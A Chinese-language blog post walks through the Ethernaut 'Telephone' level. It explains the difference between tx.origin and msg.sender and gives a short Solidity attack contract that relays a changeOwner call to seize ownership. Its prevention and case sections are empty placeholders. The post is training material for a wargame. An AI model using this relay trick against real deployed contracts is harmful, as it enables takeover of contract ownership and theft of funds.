# 智能合约黑客攻击 Ethernaut 4. Telephone **Published by:** [Leek DEV](https://paragraph.com/@leekdev/) **Published on:** 2023-09-26 **URL:** https://paragraph.com/@leekdev/ethernaut-4-telephone ## Content Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏,每个关卡都有需要被 Hack 的智能合约。教程GitHub - 攻击代码Bilibili - 视频教程YouTube - 视频教程TikTok - ….题目想办法获取到 Telephone 到 owner 权限。Hack思路想要获取合约 owner 需要跳过 tx.origin != msg.sender 检查,这2个点区别是tx.origin 是交易最初始的地址,基本都是用户msg.sender 是上一级调用的地址,如果经过某个合约转了一下,就会等于合约地址,而不是用户只需要用个中间合约转一下就可以做到 tx.origin != msg.sender , 下面是代码interface ITelephone { function changeOwner(address _owner) external; } contract TelephoneHack { ITelephone public challenge; constructor(address challengeAddress) { challenge = ITelephone(challengeAddress); } function attack() external payable { challenge.changeOwner(tx.origin); } fallback() external payable { } receive() external payable { } } Hack案例…防范思路….参考资料…. ## Publication Information - [Leek DEV](https://paragraph.com/@leekdev/): Publication homepage - [All Posts](https://paragraph.com/@leekdev/): More posts from this publication - [RSS Feed](https://api.paragraph.com/blogs/rss/@leekdev): Subscribe to updates - [Twitter](https://twitter.com/LeekDEV): Follow on Twitter